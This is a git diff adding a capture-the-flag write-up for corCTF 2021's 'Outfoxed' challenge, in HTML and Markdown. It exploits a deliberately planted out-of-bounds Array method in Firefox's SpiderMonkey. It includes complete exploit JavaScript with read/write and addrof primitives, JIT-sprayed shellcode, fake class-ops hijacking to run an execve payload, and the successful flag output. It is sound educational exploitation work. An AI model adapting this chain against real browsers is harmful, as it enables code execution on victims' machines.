+11:0088│  0x10a04c000720 ◂— 0x0
+12:0090│  0x10a04c000728 —▸ 0x10a04c000730 ◂— 0x0
+13:0098│  0x10a04c000730 ◂— 0x0
+... ↓     4 skipped
+
+pwndbg> distance 0x10a04c0006c0 0x10a04c000728
+0x10a04c0006c0->0x10a04c000728 is 0x68 bytes (0xd words)
+
+ +

b’s data pointer is at 0x10a04c000728 and a’s elements are at +0x10a04c0006c0. This means that we can overwrite b’s data pointer by writing +to the 13th element with oob.

+ +
let converter = new ArrayBuffer(8);
+let u64view = new BigUint64Array(converter);
+let f64view = new Float64Array(converter);
+
+// Bit-cast an uint64_t to a float64
+function i2d(x) {
+    u64view[0] = x;
+    return f64view[0];
+}
+
+// Bit-cast a float64 to an uint64_t
+function d2i(x) {
+    f64view[0] = x;
+    return u64view[0];
+}
+
+let a = new Array(1,2,3,4,5,6);
+let b = new BigUint64Array(1);
+
+a.oob(13, i2d(0x41414141n))
+b[0] = 0n
+
+ +

This crashes by trying to write 0 to 0x41414141, exactly like we would expect:

+ +
Thread 1 "js" received signal SIGSEGV, Segmentation fault.
+0x000022760cf0b110 in ?? ()
+────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────
+ RAX  0x41414141
+ RBX  0x7fffffffc3c8 —▸ 0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) ◂— ...
+ RCX  0x41414141
+ RDX  0xfff9800000000000
+ RDI  0x41414141
+ RSI  0x0
+ R8   0x7fffffffc798 ◂— 0xffffffffffffffff
+ R9   0x7fffffffc468 ◂— 0x0
+ R10  0xffff800000000000
+ R11  0x7fffffffc620 ◂— 0x0
+ R12  0xfffdffffffffffff
+ R13  0xbec6100898 —▸ 0x109615e65ac0 —▸ 0x109615e3b2b0 —▸ 0x555557664960 (js::TypedArrayObject::classes+480) —▸ 0x55555574f29b ◂— ...
+ R14  0x7fffffffc798 ◂— 0xffffffffffffffff
+ R15  0x0
+ RBP  0x7fffffffc390 —▸ 0x7fffffffc400 —▸ 0x7fffffffc500 —▸ 0x7fffffffc8e0 —▸ 0x7fffffffc930 ◂— ...
+ RSP  0x7fffffffc358 —▸ 0x555556b2a783 ◂— jmp    0x555556b2a8e1
+ RIP  0x22760cf0b110 ◂— mov    qword ptr [rdi], rsi
+──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────
+ ► 0x22760cf0b110    mov    qword ptr [rdi], rsi
+   0x22760cf0b113    ret 
+
+ +

We’ll encapsulate this in two utility functions, read64 and write64:

+ +
// Read 64 bits from addr
+function read64(addr) {
+    a.oob(13, i2d(addr))
+    return b[0];
+}
+
+// Write 64 bits to addr
+function write64(addr, value) {
+    a.oob(13, i2d(addr));
+    b[0] = value;
+}
+
+ +

Code Execution, Take 1

+ +

Before I explain how my final exploit works, I’d like to discuss a technique +which I tried to use at first and which worked in the JS shell but not in Firefox. +I’m not quite sure why it didn’t work in Firefox but if you figure it out, let +me know! :)

+ +

When researching previous writeups for Firefox challenges I came across this analysis +of Saelo’s Feuerfuchs challenge from 33c3. +As it turns out, Firefox does not have full RELRO on Linux (!), so the GOT is +writable. Moreover, the implementation of TypedArray.prototype.copyWithin(0, x) +calls memmove with the address of the TypedArray’s data buffer as the first +argument. In this situation, getting code execution is as simple as overwriting +the GOT entry of memmove with the address of system, putting our command +in a Uint8Array and calling copyWithin(0, 1) on it. Getting the address of +libc and the address of the GOT is trivial with arbitrary read/write: the +TypedArray’s slots_ and elements_, which we can leak with oob, point to +static objects. Unfortunately for us for some reason even though the GOT of +libxul.so (the library that contains the JS engine in Firefox) is writable, +the pointer to memmove is not in the GOT. It’s in some other section that is +read-only, and the PLT stub for memmove gets the address from that section. +I spent a lot of time debugging this and trying to make it work but eventually +had to give up and search for another strategy. Such is life.

+ +

Code Execution, Take 2

+ +

Another common technique to turn arbitrary read/write into code execution in a +JavaScript engine is to find and overwrite some executable code. On modern OSes +a memory region is normally either writable or executable, but not both at the +same time to prevent code injection attacks. However the JavaScript engines used +in modern browsers make heavy use of JIT compilation and flipping page +permissions is relatively expensive. So expensive that sometimes browser authors +would rather have memory that is both writable and executable at the same time +than pay the performance cost. This is notably the case with +WebAssembly in Chrome, which +is a well-known +way to get RWX memory in the renderer process. Unfortunately, it seems that +there is no such easy bypass in Firefox. Or at least I couldn’t find one by +searching the internet, let me know if I missed something :) We are going to need +yet another approach.

+ +

Code Execution, Take 3

+ +

At this point I went back to 0vercl0k’s blog post, +which has a section on how to get the JIT compiler to generate arbitrary gadgets for you. +Sounds promising! The idea is to encode some machine instructions in JavaScript +floating-point constants, then get the JIT to compile your function. The compiled +machine code will contain our constants (aka our gadgets) as immediates and we +can execute them by jumping into the middle of the immediate. Cool! I even found +a blog post +that includes some Linux shellcode so I don’t even have to write my own ;) +This shellcode reads a pointer from [rcx], changes the protection of the page +containing that address to RWX, and jumps to it.

+ +

All we have to do is find a way to jump to the JITed shellcode with rcx pointing +to a pointer to controlled data. Again, +0vercl0k’s blog post is very useful here, specifically this section. In short, +every JS object type (e.g. js::ArrayObject) in SpiderMonkey has an associated +JSClass which describes the type.

+ +
pwndbg> ptype /o JSClass
+/* offset    |  size */  type = struct JSClass {
+/*    0      |     8 */    const char *name;
+/*    8      |     4 */    uint32_t flags;
+/* XXX  4-byte hole  */
+/*   16      |     8 */    const struct JSClassOps *cOps;
+/*   24      |     8 */    const struct js::ClassSpec *spec;
+/*   32      |     8 */    const struct js::ClassExtension *ext;
+/*   40      |     8 */    const struct js::ObjectOps *oOps;
+
+                           /* total size (bytes):   48 */
+                         }
+
+ +

JSClass::cOps points to a table of function pointers which the engine calls +when the JavaScript code does certain operations on an object that belongs to +this class, much like a C++ vtable:

+ +
pwndbg> ptype /o JSClassOps
+/* offset    |  size */  type = struct JSClassOps {
+/*    0      |     8 */    JSAddPropertyOp addProperty;
+/*    8      |     8 */    JSDeletePropertyOp delProperty;
+/*   16      |     8 */    JSEnumerateOp enumerate;
+/*   24      |     8 */    JSNewEnumerateOp newEnumerate;
+/*   32      |     8 */    JSResolveOp resolve;
+/*   40      |     8 */    JSMayResolveOp mayResolve;
+/*   48      |     8 */    JSFinalizeOp finalize;
+/*   56      |     8 */    JSNative call;
+/*   64      |     8 */    JSHasInstanceOp hasInstance;
+/*   72      |     8 */    JSNative construct;
+/*   80      |     8 */    JSTraceOp trace;
+
+                           /* total size (bytes):   88 */
+                         }
+pwndbg> ptype JSAddPropertyOp
+type = bool (*)(struct JSContext *, JS::HandleObject, JS::HandleId, JS::HandleValue)
+
+ +

For example, cOps->addProperty is called whenever JS code adds a new property +to the object. The fourth argument (stored in rcx on Linux) contains a handle +(a pointer) to the value of the new property. This is perfect because we can +completely control this value, and for example we can pass the address of a +buffer containing a second-stage shellcode. Great!

+ +

We cannot directly overwrite the JsClassOps because they are stored in read-only +memory. However we can simply follow the chain of pointers from our object to +JSClassOps and replace the last pointer in the chain that is in writable memory +with a pointer to a fake. Again, this is all described in 0vercl0k’s post so +I won’t bore you with the details.

+ +
// Return the address of a JavaScript object
+function addrof(x) {
+    a.oob(14, x);
+    return b[0] & 0xffffffffffffn;
+}
+
+const addrof_target = addrof(target);
+const target_shape = read64(addrof_target);
+const target_base_shape = read64(target_shape);
+const target_class = read64(target_base_shape);
+const target_ops = read64(target_class + 0x10n);
+print(`addrof(target) = ${hex(addrof_target)}`);
+print(`target->shape = ${hex(target_shape)}`);
+print(`target->shape->base_shape = ${hex(target_base_shape)}`);
+print(`target->shape->base_shape->class = ${hex(target_class)}`);
+print(`target->shape->base_shape->class->ops = ${hex(target_ops)}`);
+
+const fake_class = new BigUint64Array(48);
+const fake_class_buffer = read64(addrof(fake_class) + 0x30n);
+for (let i = 0; i < 6; i++) {
+    fake_class[i] = read64(target_class + BigInt(i) * 8n);
+}
+
+const fake_ops = new BigUint64Array(88);
+const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n);
+for (let i = 0; i < 11; i++) {
+    fake_ops[i] = read64(target_ops + BigInt(i) * 8n);
+}
+
+fake_ops[0] = stage1_addr;
+fake_class[2] = fake_ops_buffer;
+write64(target_base_shape, fake_class_buffer);
+
+target.someprop = i2d(shellcode_addr);
+
+ +

Now all that we have to do is to get the JIT to compile our code and find it in +memory. The first part is easy, simply put it in a function and call it many times +in a loop until the JIT decides that the function is hot and compiles it:

+ +
function jitme () {
+    // ...
+}
+
+for (let i = 0; i < 100000; i++) {
+    jitme();
+}
+
+ +

The second part is a bit more tricky. JavaScript functions are represented by a +JSFunction, and we can find the region containing the compiled code for that +function by following pointers, like this (pointers to executable memory are +highlighted in red):

+ +

+ +

We can get the address of the function by storing it into our TypedArray with +oob and then reading the address back, then follow the pointers until the +code pointer. However the code pointer doesn’t exactly point to the beginning +of the function, but rather to some other place in the same page. The author of +the writeup that I got the shellcode from solves this by embedding a magic +number in the shellcode and then searching for it using the arbitrary read/write. +We’ll do the same.

+ +
// Read size bytes from addr
+function read(addr, size) {
+    assert(size % 8n === 0n);
+    let ret = new BigUint64Array(Number(size) / 8);
+    for (let i = 0n; i < size / 8n; i++) {
+        ret[i] = read64(addr + i * 8n)
+    }
+    return new Uint8Array(ret.buffer);
+}
+
+const addrof_jitme = addrof(jitme);
+const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n;
+print(`addrof(jitme) = ${hex(addrof_jitme)}`);
+print(`code page at = ${hex(codepage_addr)}`);
+
+const code = read(codepage_addr, 0x1000n);
+
+let stage1_offset = -1;
+for (let i = 0; i < 0x1000 - 8; i++) {
+    if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37
+        && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13
+        && code[i + 6] == 0x37 && code[i + 7] == 0x13) {
+        stage1_offset = i + 14;
+        break;
+    }
+}
+
+assert(stage1_offset !== -1);
+const stage1_addr = BigInt(stage1_offset) + codepage_addr;
+print(`stage1_addr = ${hex(stage1_addr)}`);
+
+ +

That’s basically it, not we just have to put it all together

+ +
let converter = new ArrayBuffer(8);
+let u64view = new BigUint64Array(converter);
+let f64view = new Float64Array(converter);
+
+// Bit-cast an uint64_t to a float64
+function i2d(x) {
+    u64view[0] = x;
+    return f64view[0];
+}
+
+// Bit-cast a float64 to an uint64_t
+function d2i(x) {
+    f64view[0] = x;
+    return u64view[0];
+}
+
+function print(x) {
+    console.log(x);
+}
+
+function hex(x) {
+    return `0x${x.toString(16)}`;
+}
+
+function assert(x, msg) {
+    if (!x) {
+        throw new Error(msg);
+    }
+}
+
+// https://github.com/vigneshsrao/CVE-2019-11707/blob/master/exploit.js#L196
+// mprotects the shellcode whose address is in [rcx] as rwx and jumps to it
+function jitme () {
+    const magic = 4.183559446463817e-216;
+
+    const g1 = 1.4501798452584495e-277;
+    const g2 = 1.4499730218924257e-277;
+    const g3 = 1.4632559875735264e-277;
+    const g4 = 1.4364759325952765e-277;
+    const g5 = 1.450128571490163e-277;
+    const g6 = 1.4501798485024445e-277;
+    const g7 = 1.4345589835166586e-277;
+    const g8 = 1.616527814e-314;
+}
+
+function pwn() {
+    let a = new Array(1,2,3,4,5,6);
+    let b = new BigUint64Array(1);
+
+    // Read 64 bits from addr
+    function read64(addr) {
+        const olddata = a.oob(13);
+        a.oob(13, i2d(addr))
+        const ret = b[0];
+        a.oob(13, olddata);
+        return ret;
+    }
+
+    // Write 64 bits to addr
+    function write64(addr, value) {
+        const olddata = a.oob(13);
+        a.oob(13, i2d(addr));
+        b[0] = value;
+        a.oob(13, olddata);
+    }
+
+    // Read size bytes from addr
+    function read(addr, size) {
+        assert(size % 8n === 0n);
+        let ret = new BigUint64Array(Number(size) / 8);
+        for (let i = 0n; i < size / 8n; i++) {
+            ret[i] = read64(addr + i * 8n)
+        }
+        return new Uint8Array(ret.buffer);
+    }
+
+    // Return the address of a JavaScript object
+    function addrof(x) {
+        a.oob(14, x);
+        return b[0] & 0xffffffffffffn;
+    }
+
+    for (let i = 0; i < 100000; i++) {
+        jitme();
+    }
+
+    const addrof_jitme = addrof(jitme);
+    const codepage_addr = read64(read64(addrof_jitme + 0x28n)) & 0xfffffffffffff000n;
+    print(`addrof(jitme) = ${hex(addrof_jitme)}`);
+    print(`code page at = ${hex(codepage_addr)}`);
+
+    const code = read(codepage_addr, 0x1000n);
+    let stage1_offset = -1;
+    for (let i = 0; i < 0x1000 - 8; i++) {
+        if (code[i] == 0x37 && code[i + 1] == 0x13 && code[i + 2] == 0x37
+            && code[i + 3] == 0x13 && code[i + 4] == 0x37 && code[i + 5] == 0x13
+            && code[i + 6] == 0x37 && code[i + 7] == 0x13) {
+            stage1_offset = i + 14;
+            break;
+        }
+    }
+
+    assert(stage1_offset !== -1);
+    const stage1_addr = BigInt(stage1_offset) + codepage_addr;
+    print(`stage1_addr = ${hex(stage1_addr)}`);
+
+    // execve('/reader')
+    const shellcode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x73, 0x64, 0x60, 0x65, 0x64, 0x73, 0x1, 0x48, 0x31, 0x4, 0x24, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x3b, 0x58, 0xf, 0x5, 0xcc]);
+
+    const addrof_shellcode = addrof(shellcode);
+    const shellcode_shape = read64(addrof_shellcode);
+    const shellcode_base_shape = read64(shellcode_shape);
+    const shellcode_class = read64(shellcode_base_shape);
+    const shellcode_ops = read64(shellcode_class + 0x10n);
+    const shellcode_data = read64(addrof_shellcode + 0x30n);
+    print(`addrof(shellcode) = ${hex(addrof_shellcode)}`);
+    print(`shellcode->shape = ${hex(shellcode_shape)}`);
+    print(`shellcode->shape->base_shape = ${hex(shellcode_base_shape)}`);
+    print(`shellcode->shape->base_shape->class = ${hex(shellcode_class)}`);
+    print(`shellcode->shape->base_shape->class->ops = ${hex(shellcode_ops)}`);
+    print(`shellcode->data = ${hex(shellcode_data)}`);
+
+    const fake_class = new BigUint64Array(48);
+    const fake_class_buffer = read64(addrof(fake_class) + 0x30n);
+    for (let i = 0; i < 6; i++) {
+        fake_class[i] = read64(shellcode_class + BigInt(i) * 8n);
+    }
+
+    const fake_ops = new BigUint64Array(88);
+    const fake_ops_buffer = read64(addrof(fake_ops) + 0x30n);
+    for (let i = 0; i < 11; i++) {
+        fake_ops[i] = read64(shellcode_ops + BigInt(i) * 8n);
+    }
+
+    fake_ops[0] = stage1_addr;
+    fake_class[2] = fake_ops_buffer;
+    write64(shellcode_base_shape, fake_class_buffer);
+
+    shellcode.someprop = i2d(shellcode_data);
+}
+
+try {
+    pwn();
+} catch (e) {
+    print(`Got exception: ${e}`);
+}
+
+ +
$ python3 upload.py
+[+] Opening connection to outfoxed.be.ax on port 37685: Done
+[*] Switching to interactive mode
+Enter exploit followed by EOF: 
+[GFX1-]: glxtest: libpci missing
+[GFX1-]: glxtest: libGL.so.1 missing
+[GFX1-]: glxtest: libEGL missing
+[GFX1-]: No GPUs detected via PCI
+[GFX1-]: RenderCompositorSWGL failed mapping default framebuffer, no dt
+corctf{just_4_b4by_f0x}
+[*] Interrupted
+[*] Closed connection to outfoxed.be.ax port 37685
+
+ +

Conclusion

+ +

In this challenge we exploited a bug in SpiderMonkey to gain arbitrary native +code execution. I had never worked with Firefox before so this was a nice change +from the usual Chrome challenges and at the same time it shows how similar the +various JS engines are. Thanks to the author for writing this!

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/corCTF-2021/pwn/outfoxed.md b/corCTF-2021/pwn/outfoxed.md new file mode 100755 index 0000000..73b619e --- /dev/null +++ b/corCTF-2021/pwn/outfoxed.md @@ -0,0 +1,1034 @@ +# Outfoxed + +**Authors:** [Nspace](https://twitter.com/_MatteoRizzo) + +**Tags:** pwn, browser + +**Points:** 498 + +> Just your average, easy browser pwn! +> +> https://outfoxed.be.ax +> +> [outfoxed.tar.xz](https://corctf2021-files.storage.googleapis.com/uploads/0df560b1a48641ae98116462c1a3d8ebd6605bcf236c4da5beba29f37da94961/outfoxed.tar.xz) + +## Analysis + +In this challenge the authors visit a webpage of our choosing using a buggy +Firefox. Our job is to exploit the Firefox bug and use it to read the flag which +is stored on the challenge server. + +Let's start by checking out the attachments: + +``` +$ tree outfoxed +outfoxed +├── app +│ ├── flag.txt +│ ├── fox.py +│ └── reader +├── code +│ ├── log +│ ├── mozconfig +│ ├── patch +│ └── README.md +├── docker-compose.yml +└── Dockerfile +``` + +The challenge runs in a container built from the following Dockerfile: + +```dockerfile +FROM python:slim +RUN apt-get update \ + && apt-get install -y socat curl gzip \ + && apt-get install -y --no-install-recommends \ + libglib2.0-0 libnss3 libatk1.0-0 libatk-bridge2.0-0 libcups2 libdrm2 \ + libxkbcommon0 libxcomposite1 libxdamage1 libxrandr2 libgbm1 libgtk-3-0 \ + libasound2 libxshmfence1 libx11-xcb1 libdbus-glib-1-2 libxtst6 libxt6 && rm -rf /var/lib/apt/lists/* + +COPY app/flag.txt /flag.txt +COPY app/reader /reader +RUN chmod 0640 /flag.txt && chmod 6755 /reader + +RUN useradd -ms /bin/bash ctf + +WORKDIR /app +RUN curl -fsS https://files.be.ax/outfoxed-7d11ebc85cf45e851977eda017da26ad71b225ecf28e3f2973fc1cbd09dd3286/outfoxed.tar.gz | tar x +COPY app/fox.py /app/flag.py + +USER ctf +CMD ["socat", "tcp-l:1337,reuseaddr,fork", "EXEC:/app/flag.py"] +``` + +**OBJECTIVE**: read `flag.txt`. + +Firefox runs as the user `ctf`, but only root can read the flag. The only way to +get it is to execute the `reader` program which prints the flag and is setuid +root. This setup means that reading arbitrary files is not enough, and instead +we need to get code execution in the container. + +**NEW OBJECTIVE**: execute `/reader` and read its output. + +`fox.py` reads a webpage from us and opens it in Firefox: + +```py +#!/usr/bin/env python3 + +import os +import sys +import tempfile + +print("Enter exploit followed by EOF: ") +sys.stdout.flush() + +buf = "" +while "EOF" not in buf: + buf += input() + "\n" + +with tempfile.TemporaryDirectory() as dir: + os.chdir(dir) + with open("exploit.html", 'w') as f: + f.write("") + with open("exploit.js", 'w') as f: + f.write(buf[:-3]) + os.environ["MOZ_DISABLE_CONTENT_SANDBOX"] = "1" + os.system(f"timeout 20s /app/firefox/firefox --headless exploit.html") +``` + +The script sets the `MOZ_DISABLE_CONTENT_SANDBOX` environment variable which +disables Firefox's sandbox. Modern web browsers employ +a multi-process architecture to defend against vulnerabilities: the _browser process_ +is privileged and has access to everything, whereas the _renderer processes_ are +heavily sandboxed and can do almost nothing without going through the browser +process. The code that is most vulnerable to attacks (e.g., because it handles +untrusted data) runs in the renderer process so that even if an attacker manages +to exploit it, they still cannot take over the machine. If you're interested in +learning more, LiveOverflow has a [video](https://www.youtube.com/watch?v=StQ_6juJlZY) +that talks about browser sandboxing. Here the sandbox is +disabled, so a compromised renderer process is free to read/write files and execute other +programs. This means that taking over the renderer process is enough to solve +the challenge, as we can then execute `/reader` and get the flag. + +**NEW OBJECTIVE**: compromise Firefox's renderer process. + +### Patch + +Browser challenges don't usually ask the players to exploit a real-world bug +(although there are +[exceptions](https://abiondo.me/2019/01/02/exploiting-math-expm1-v8/) of course). +Instead, the author typically introduces their own bug into the browser, and +players have to exploit that. This challenge is no different, and it includes +the author's Firefox patch. Let's have a look at that: + +```diff +diff --git a/js/src/builtin/Array.cpp b/js/src/builtin/Array.cpp +--- a/js/src/builtin/Array.cpp ++++ b/js/src/builtin/Array.cpp +@@ -428,6 +428,29 @@ static inline bool GetArrayElement(JSCon + return GetProperty(cx, obj, obj, id, vp); + } + ++static inline bool GetTotallySafeArrayElement(JSContext* cx, HandleObject obj, ++ uint64_t index, MutableHandleValue vp) { ++ if (obj->is()) { ++ NativeObject* nobj = &obj->as(); ++ vp.set(nobj->getDenseElement(size_t(index))); ++ if (!vp.isMagic(JS_ELEMENTS_HOLE)) { ++ return true; ++ } ++ ++ if (nobj->is() && index <= UINT32_MAX) { ++ if (nobj->as().maybeGetElement(uint32_t(index), vp)) { ++ return true; ++ } ++ } ++ } ++ ++ RootedId id(cx); ++ if (!ToId(cx, index, &id)) { ++ return false; ++ } ++ return GetProperty(cx, obj, obj, id, vp); ++} ++ + static inline bool DefineArrayElement(JSContext* cx, HandleObject obj, + uint64_t index, HandleValue value) { + RootedId id(cx); +@@ -2624,6 +2647,7 @@ enum class ArrayAccess { Read, Write }; + template + static bool CanOptimizeForDenseStorage(HandleObject arr, uint64_t endIndex) { + /* If the desired properties overflow dense storage, we can't optimize. */ ++ + if (endIndex > UINT32_MAX) { + return false; + } +@@ -3342,6 +3366,34 @@ static bool ArraySliceOrdinary(JSContext + return true; + } + ++ ++bool js::array_oob(JSContext* cx, unsigned argc, Value* vp) { ++ CallArgs args = CallArgsFromVp(argc, vp); ++ RootedObject obj(cx, ToObject(cx, args.thisv())); ++ double index; ++ if (args.length() == 1) { ++ if (!ToInteger(cx, args[0], &index)) { ++ return false; ++ } ++ GetTotallySafeArrayElement(cx, obj, index, args.rval()); ++ } else if (args.length() == 2) { ++ if (!ToInteger(cx, args[0], &index)) { ++ return false; ++ } ++ NativeObject* nobj = ++ obj->is() ? &obj->as() : nullptr; ++ if (nobj) { ++ nobj->setDenseElement(index, args[1]); ++ } else { ++ puts("Not dense"); ++ } ++ GetTotallySafeArrayElement(cx, obj, index, args.rval()); ++ } else { ++ return false; ++ } ++ return true; ++} ++ + /* ES 2016 draft Mar 25, 2016 22.1.3.23. */ + bool js::array_slice(JSContext* cx, unsigned argc, Value* vp) { + AutoGeckoProfilerEntry pseudoFrame( +@@ -3569,6 +3621,7 @@ static const JSJitInfo array_splice_info + }; + + static const JSFunctionSpec array_methods[] = { ++ JS_FN("oob", array_oob, 2, 0), + JS_FN(js_toSource_str, array_toSource, 0, 0), + JS_SELF_HOSTED_FN(js_toString_str, "ArrayToString", 0, 0), + JS_FN(js_toLocaleString_str, array_toLocaleString, 0, 0), +diff --git a/js/src/builtin/Array.h b/js/src/builtin/Array.h +--- a/js/src/builtin/Array.h ++++ b/js/src/builtin/Array.h +@@ -113,6 +113,8 @@ extern bool array_shift(JSContext* cx, u + + extern bool array_slice(JSContext* cx, unsigned argc, js::Value* vp); + ++extern bool array_oob(JSContext* cx, unsigned argc, Value* vp); ++ + extern JSObject* ArraySliceDense(JSContext* cx, HandleObject obj, int32_t begin, + int32_t end, HandleObject result); + +``` + +The patch looks a bit complicated, but in reality it only adds a new `oob` +method to JavaScript arrays. `Array.prototype.oob` lets us read and write an +element of the array. For example: + +```js +let a = [1, 2]; + +// Read an element of the array +console.log(a.oob(0)); +// prints 1 + +// Write an element of the array +a.oob(1, 1234); +console.log(a); +// prints 1, 1234 +``` + +The catch is that `oob` doesn't perform any bounds checking, so it lets us read +and write out of bounds: + +```js +console.log(a.oob(1000)); +// prints 5e-324 +``` + +Bugs like this are generally pretty straightforward to turn into code execution. +So with that in mind, let's get started! + +## Setup + +Debugging a browser is usually a bit complicated because of the multi-process +setup. Fortunately, it's usually possible to build a JavaScript shell that only +includes the JavaScript runtime and that we can debug easily with GDB. Firefox +is no exception here. I built Firefox's JavaScript shell by following +[Mozilla's documentation](https://firefox-source-docs.mozilla.org/js/build.html). +Make sure to use the same version as the author (`655554:f4922b9e9a6b`) and to +apply the patch before compiling. While building in debug mode is generally +a good idea when debugging, accessing arrays out of bounds with `oob` causes +an assertion failure which crashes the shell so I used a release build to +develop the exploit. We can debug the resulting `js` binary easily in GDB. + +I will be using [pwndbg](https://github.com/pwndbg/pwndbg), a GDB plugin that +adds a lot of nice features, throughout the writeup. + +``` +pwndbg: loaded 195 commands. Type pwndbg [filter] for a list. +pwndbg: created $rebase, $ida gdb functions (can be used with print/break) +Reading symbols from dist/bin/js... +pwndbg> b js::math_atan2 +Breakpoint 1 at 0x134b162: file /home/matteo/Documents/gecko-dev/js/src/jsmath.cpp, line 162. +pwndbg> r +js> Math.atan2(2) + +Thread 1 "js" hit Breakpoint 1, js::math_atan2 (cx=cx@entry=0x7ffff6518000, argc=1, vp=0x7ffff5343098) at js/src/jsmath.cpp:162 +162 CallArgs args = CallArgsFromVp(argc, vp); +ERROR: Could not find ELF base! +ERROR: Could not find ELF base! +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA +────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────── + RAX 0x1 + RBX 0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 —▸ 0x7ffff5343000 ◂— ... + RCX 0x4be574f94dddc200 + RDX 0x7ffff5343098 ◂— 0xfffe3eb45a763158 + RDI 0x7ffff6518000 ◂— 0x0 + RSI 0x1 + R8 0x1a + R9 0x7fffffffc648 —▸ 0x3eb45a761360 ◂— 0x500000258 + R10 0x7ffff52c6c00 ◂— 0x0 + R11 0x7fffffffc598 —▸ 0x7fffffffc638 ◂— 0x0 + R12 0x55555689f140 ◂— push rbp + R13 0x7fffffffc750 —▸ 0x7ffff53430a8 ◂— 0xfff8800000000002 + R14 0x7ffff6518000 ◂— 0x0 + R15 0x7ffff5343098 ◂— 0xfffe3eb45a763158 + RBP 0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ... + RSP 0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ... + RIP 0x55555689f162 ◂— mov rcx, qword ptr [rdx + 8] +──────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────── + ► 0x55555689f162 mov rcx, qword ptr [rdx + 8] + 0x55555689f166 mov rdx, rcx + 0x55555689f169 shr rdx, 0x2f + 0x55555689f16d cmp edx, 0x1fff5 + 0x55555689f173 jne 0x55555689f17e <0x55555689f17e> + ↓ + 0x55555689f17e test eax, eax + 0x55555689f180 je 0x55555689f197 <0x55555689f197> + + 0x55555689f182 lea rsi, [r15 + 0x10] + 0x55555689f186 cmp eax, 1 + 0x55555689f189 jne 0x55555689f1a6 <0x55555689f1a6> + + 0x55555689f18b lea rax, [rip + 0xdc61de] <0x555557665370> +──────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────── +In file: js/src/jsmath.cpp + 157 res.setDouble(z); + 158 return true; + 159 } + 160 + 161 bool js::math_atan2(JSContext* cx, unsigned argc, Value* vp) { + ► 162 CallArgs args = CallArgsFromVp(argc, vp); + 163 + 164 return math_atan2_handle(cx, args.get(0), args.get(1), args.rval()); + 165 } + 166 + 167 double js::math_ceil_impl(double x) { +──────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────── +00:0000│ rsp 0x7fffffffc5b0 —▸ 0x3eb45a73d030 —▸ 0x3eb45a7644a0 —▸ 0x3eb45a73b0b8 —▸ 0x55555764cf20 (global_class) ◂— ... +01:0008│ 0x7fffffffc5b8 —▸ 0x7ffff6518060 —▸ 0x7fffffffc7a8 ◂— 0x7ffff6518060 +02:0010│ 0x7fffffffc5c0 ◂— 0x4be574f94dddc200 +03:0018│ 0x7fffffffc5c8 —▸ 0x7ffff53c1800 —▸ 0x7ffff6563080 —▸ 0x7ffff53ac000 —▸ 0x7ffff653b000 ◂— ... +04:0020│ 0x7fffffffc5d0 —▸ 0x7ffff6518000 ◂— 0x0 +05:0028│ 0x7fffffffc5d8 —▸ 0x7fffffffc618 —▸ 0x7ffff6518000 ◂— 0x0 +06:0030│ rbp 0x7fffffffc5e0 —▸ 0x7fffffffc680 —▸ 0x7fffffffca60 —▸ 0x7fffffffcab0 —▸ 0x7fffffffcb20 ◂— ... +07:0038│ 0x7fffffffc5e8 —▸ 0x5555568b2252 ◂— mov r15d, eax +────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────── + ► f 0 0x55555689f162 + f 1 0x5555568b2252 + f 2 0x5555568b2252 + f 3 0x5555568ac3ff + f 4 0x5555568ac3ff + f 5 0x5555568ac3ff + f 6 0x5555568a40a8 + f 7 0x5555568b388e +────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── +pwndbg> +``` + +## SpiderMonkey Internals + +While I have solved numerous browser challenges based on Chromium, I had never +looked at SpiderMonkey (Firefox's JavaScript engine) before. However JavaScript +engines all work in a similar way and my experience with V8 (Chromium's +JavaScript engine) was really helpful in quickly making sense of SpiderMonkey's +internals. I also relied heavily on +[this blog post by 0vercl0k](https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation/) +to understand SpiderMonkey and get ideas on how to proceed in my exploit. +I encourage you to go and read it +if you're not already familiar with this engine, but I'll summarize the more +important parts here. As far as I can tell some of the data structures have +changed since that blog post was written, so the information in there is not +entirely up to date. The important parts have stayed the same though. + +### JS Arrays + +`Array.prototype.oob` lets us read and write out of bounds of a JavaScript array, +so it's important that we first understand how SpiderMonkey stores JavaScript arrays in memory. +A JavaScript array is stored as a [js::NativeObject](https://searchfox.org/mozilla-central/rev/4cca5d2f257c6f1bcef50a0debcbd66524add703/js/src/vm/NativeObject.h#525). We can +print its memory layout using GDB: + +``` +pwndbg> ptype /o js::NativeObject +/* offset | size */ type = class js::NativeObject : public JSObject { + protected: +/* 8 | 8 */ js::HeapSlot *slots_; +/* 16 | 8 */ js::HeapSlot *elements_; + /* total size (bytes): 24 */ + } +``` + +The first 8 bytes contain a pointer to a 